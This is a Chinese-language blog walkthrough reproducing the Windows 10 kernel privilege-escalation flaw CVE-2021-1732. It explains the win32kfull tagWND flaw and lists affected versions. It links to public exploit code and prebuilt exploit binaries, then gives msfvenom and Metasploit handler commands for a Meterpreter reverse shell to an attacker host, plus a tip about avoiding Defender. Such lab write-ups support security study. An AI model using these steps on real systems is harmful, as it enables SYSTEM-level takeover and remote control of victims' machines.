CVE-2021-1732 windows10 本地提权漏洞复现
0x00 漏洞前言
CVE-2021-1732 是蔓灵花(BITTER)APT 组织在某次被披露的攻击行动中使用的 0day 漏洞,该高危漏洞可以在本地将普通用户进程的权限提升至最高的 SYSTEM 权限。属于windows系统级别的二进制漏洞。受到该漏洞影响的 Windows 版本众多,原始利用代码经过少量修改后甚至可以在(当时的)最新版 Windows 10 20H2 64 位全补丁环境进行提权。漏洞的利用样本最早在 2020 年 12 月 10 号就被安恒威胁情报中心捕获到,在其与 MSRC 的通力合作下,2021年 2 月初,MSRC 将漏洞修复。
0x01 漏洞描述
这里我就当一回卡卡西,拷贝过来了,原文地址https://bbs.pediy.com/thread-266362.htm
- 漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx函数中的一处内核回调用户态分配内存与tagWND->flag属性设置不同步导致的漏洞。使得可以伪造这个tagWND->offset值发生内存越界。
- 当驱动win32kfull.sys调用NtUserCreateWindowEx创建窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes函数回调用户层user32.dll!__xxxClientAllocWindowClassExtraBytes分配空间,分配后的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当tagWND->flag值包含0x800属性后该保存值变成了一个offset。
- 攻击者可以Hook user32.dll!_xxxClientAllocWindowClassExtraBytes函数调用NtUserConsoleControl修改tagWND->flag包含0x800属性值后使用NtCallbackReturn返回一个自定义的值到内核tagWND->offset。
0x02 漏洞原理
- 漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx中。
- 当驱动win32kfull.sys调用NtUserCreateWindowEx创建窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes函数回调用户层user32.dll!__xxxClientAllocWindowClassExtraBytes创建内存,分配后的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当tagWND->flag值包含0x800属性时候对该值采用offset 寻址。
- 使用NtUserConsoleControl修改flag包含0x800属性。
0x02 漏洞范围
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
0x03 漏洞EXP
Github项目地址,大神KaLendsi自己开发的提权exe,很强。https://github.com/KaLendsi/CVE-2021-1732-Exploit
利用的时候需要编译,等以后会了汇编和C语言,自己一定要尝试分析一波作者的操作。这里附上大神KaLendsi在看雪论坛的笔记!https://bbs.pediy.com/thread-266362.htm
再附上另一位大神对其的补充和EXE分析等:https://www.anquanke.com/post/id/241804
0x04 漏洞复现
1、下载exe
由于自己不会编译,只能用别人编译好的EXE了。。。
源项目地址:https://github.com/shanfenglan/test/blob/master/cve-2021-1732.exe
备份地址:https://github.com/sukusec301/test/blob/master/cve-2021-1732.exe

2、下载一个windows10 2019专业版的镜像,并且安装此虚拟机


3、将CVE复制进虚拟机,然后输入whoami看一下权限,并且也不能创建用户,说明此用户仅仅是加入了管理员组,并无管理员一样的高权限。

4、输入cve-2021-1732.exe whoami,按回车可以看到,已经成为了system权限

5、这时候可能就会有人想了,接下来怎么利用?有人说这也创建不了新的用户呀,比如我输入cve-2021-1732.exe net user test test /add,可以看到如图失败了。

6、那怎么利用?其实正如烂土豆提权一样,用它去执行文件就好。MSF生成一个远控,并且开启监听模式
#msf生成远控
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[kali IP] lport=[listen port] -f exe -o love.exe
#msf快速监听
msfconsole
handler -H 0.0.0.0 -P 4444 -p windows/x64/meterpreter/reverse_tcp
7、将远控文件love.exe放入windows10里面,注意不要被DF杀掉,执行下方命令,就可以看到kali已经获得了windows10 system权限的meterpreter了
cve-2021-1732.exe love.exe



浙公网安备 33010602011771号